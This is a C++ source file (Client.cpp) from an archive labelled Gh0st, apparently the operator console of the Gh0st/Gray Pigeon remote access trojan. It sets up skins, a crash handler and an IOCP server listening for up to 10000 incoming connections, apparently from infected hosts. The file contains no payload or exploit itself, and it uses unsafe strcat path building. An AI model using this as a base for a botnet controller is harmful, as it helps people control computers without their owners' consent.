www.pudn.com > Gh0st.rar > Client.cpp, change:2011-05-20,size:5559b


// Client.cpp : Defines the class behaviors for the application. 
// 
 
#include "stdafx.h" 
#include "Client.h" 
#include "ClientDlg.h" 
#include "SkinH.h" 
#pragma comment(lib, "SkinH.lib") 
 
#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 
 
///////////////////////////////////////////////////////////////////////////// 
// CClientApp 
 
BEGIN_MESSAGE_MAP(CClientApp, CWinApp) 
	//{{AFX_MSG_MAP(CClientApp) 
	ON_COMMAND(IDM_SKIN_QQ2009, OnSkinQq2009) 
	ON_COMMAND(IDM_SKIN_CHINA, OnSkinChina) 
	ON_COMMAND(IDM_SKIN_BLACK, OnSkinBlack) 
	ON_COMMAND(IDM_SKIN_AERO, OnSkinAero) 
	//}}AFX_MSG_MAP 
	ON_COMMAND(ID_HELP, CWinApp::OnHelp) 
END_MESSAGE_MAP() 
 
///////////////////////////////////////////////////////////////////////////// 
// CClientApp construction 
void dbg_dump(struct _EXCEPTION_POINTERS* ExceptionInfo) { 
	char buff[1024]; 
	memset(buff, 0, sizeof(buff)); 
	wsprintf 
		(buff,  
		"CRASH CODE:0x%.8x ADDR=0x%.8x FLAGS=0x%.8x PARAMS=0x%.8x\n" 
		"eax=%.8x ebx=%.8x ecx=%.8x\nedx=%.8x esi=%.8x edi=%.8x\neip=%.8x esp=%.8x ebp=%.8x\n", 
		ExceptionInfo->ExceptionRecord->ExceptionCode, 
		ExceptionInfo->ExceptionRecord->ExceptionAddress, 
		ExceptionInfo->ExceptionRecord->ExceptionFlags, 
		ExceptionInfo->ExceptionRecord->NumberParameters, 
		ExceptionInfo->ContextRecord->Eax, 
		ExceptionInfo->ContextRecord->Ebx, 
		ExceptionInfo->ContextRecord->Ecx, 
		ExceptionInfo->ContextRecord->Edx, 
		ExceptionInfo->ContextRecord->Esi, 
		ExceptionInfo->ContextRecord->Edi, 
		ExceptionInfo->ContextRecord->Eip, 
		ExceptionInfo->ContextRecord->Esp, 
		ExceptionInfo->ContextRecord->Ebp 
		); 
	 
	MessageBox(NULL, buff, "灰鸽子远程管理出错!", MB_OK); 
} 
 
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) { 
	dbg_dump(ExceptionInfo); 
	// 不退出 
	return true; 
	/*ExitProcess(0);*/ 
} 
 
CClientApp::CClientApp() 
{ 
	// TODO: add construction code here, 
	// Place all significant initialization in InitInstance 
	// 初始化本进程的图像列表, 为加载系统图标列表做准备 
	typedef BOOL (WINAPI * pfn_FileIconInit) (BOOL fFullInit); 
	pfn_FileIconInit FileIconInit = (pfn_FileIconInit) GetProcAddress(LoadLibrary("shell32.dll"), (LPCSTR)660); 
	FileIconInit(TRUE); 
	 
	HANDLE	hFile = CreateFile("QQwry.dat", 0, 0, NULL, OPEN_EXISTING, 0, NULL); 
	if (hFile != INVALID_HANDLE_VALUE) 
	{ 
		m_bIsQQwryExist = true; 
	} 
	else 
	{ 
		m_bIsQQwryExist = false; 
	} 
	CloseHandle(hFile); 
	 
	m_bIsDisablePopTips = m_IniFile.GetInt("Settings", "PopTips", false); 
} 
 
///////////////////////////////////////////////////////////////////////////// 
// The one and only CClientApp object 
 
CClientApp theApp; 
 
///////////////////////////////////////////////////////////////////////////// 
// CClientApp initialization 
 
BOOL CClientApp::InitInstance() 
{ 
	SetUnhandledExceptionFilter(bad_exception); 
	AfxEnableControlContainer(); 
 
	char Path[200]={0}; 
	GetModuleFileName(NULL,Path,200); 
	*strrchr(Path,'\\')=0; 
	CString str="\\Skins\\"+m_IniFile.GetString("Settings","Skin","Aero.she"); 
	strcat(Path,str); 
	SkinH_AttachEx(Path,NULL); 
	// Standard initialization 
	// If you are not using these features and wish to reduce the size 
	//  of your final executable, you should remove from the following 
	//  the specific initialization routines you do not need. 
 
#ifdef _AFXDLL 
	Enable3dControls();			// Call this when using MFC in a shared DLL 
#else 
	Enable3dControlsStatic();	// Call this when linking to MFC statically 
#endif	 
 
	CClientDlg dlg; 
	m_pMainWnd = &dlg; 
 
	 
	// 启动IOCP服务器 
	nPort = m_IniFile.GetInt("Settings", "ListenPort"); 
	int	nMaxConnection = m_IniFile.GetInt("Settings", "MaxConnection"); 
	if (nPort == 0) 
		nPort = 80; 
	if (nMaxConnection == 0) 
		nMaxConnection = 10000; 
		 
	if (m_IniFile.GetInt("Settings", "MaxConnectionAuto")) 
		nMaxConnection = 8000; 
	((CClientDlg*) m_pMainWnd)->Activate(nPort, nMaxConnection); 
	 
 
	int nResponse = dlg.DoModal(); 
	if (nResponse == IDOK) 
	{ 
		// TODO: Place code here to handle when the dialog is 
		//  dismissed with OK 
	} 
	else if (nResponse == IDCANCEL) 
	{ 
		// TODO: Place code here to handle when the dialog is 
		//  dismissed with Cancel 
	} 
 
	// Since the dialog has been closed, return FALSE so that we exit the 
	//  application, rather than start the application's message pump. 
	return FALSE; 
} 
 
void CClientApp::OnSkinQq2009()  
{ 
	// TODO: Add your command handler code here 
	char Path[200]={0}; 
	GetModuleFileName(NULL,Path,200); 
	*strrchr(Path,'\\')=0; 
	strcat(Path,"\\Skins\\QQ2009.she"); 
	SkinH_AttachEx(Path,NULL); 
	m_IniFile.SetString("Settings","Skin","QQ2009.she"); 
 
} 
 
void CClientApp::OnSkinChina()  
{ 
	// TODO: Add your command handler code here 
	char Path[200]={0}; 
	GetModuleFileName(NULL,Path,200); 
	*strrchr(Path,'\\')=0; 
	strcat(Path,"\\Skins\\china.she"); 
	SkinH_AttachEx(Path,NULL); 
	m_IniFile.SetString("Settings","Skin","china.she"); 
} 
 
void CClientApp::OnSkinBlack()  
{ 
	// TODO: Add your command handler code here 
	char Path[200]={0}; 
	GetModuleFileName(NULL,Path,200); 
	*strrchr(Path,'\\')=0; 
	strcat(Path,"\\Skins\\black.she"); 
	SkinH_AttachEx(Path,NULL); 
	m_IniFile.SetString("Settings","Skin","black.she"); 
} 
 
void CClientApp::OnSkinAero()  
{ 
	// TODO: Add your command handler code here 
	char Path[200]={0}; 
	GetModuleFileName(NULL,Path,200); 
	*strrchr(Path,'\\')=0; 
	strcat(Path,"\\Skins\\aero.she"); 
	SkinH_AttachEx(Path,NULL); 
	m_IniFile.SetString("Settings","Skin","aero.she"); 
}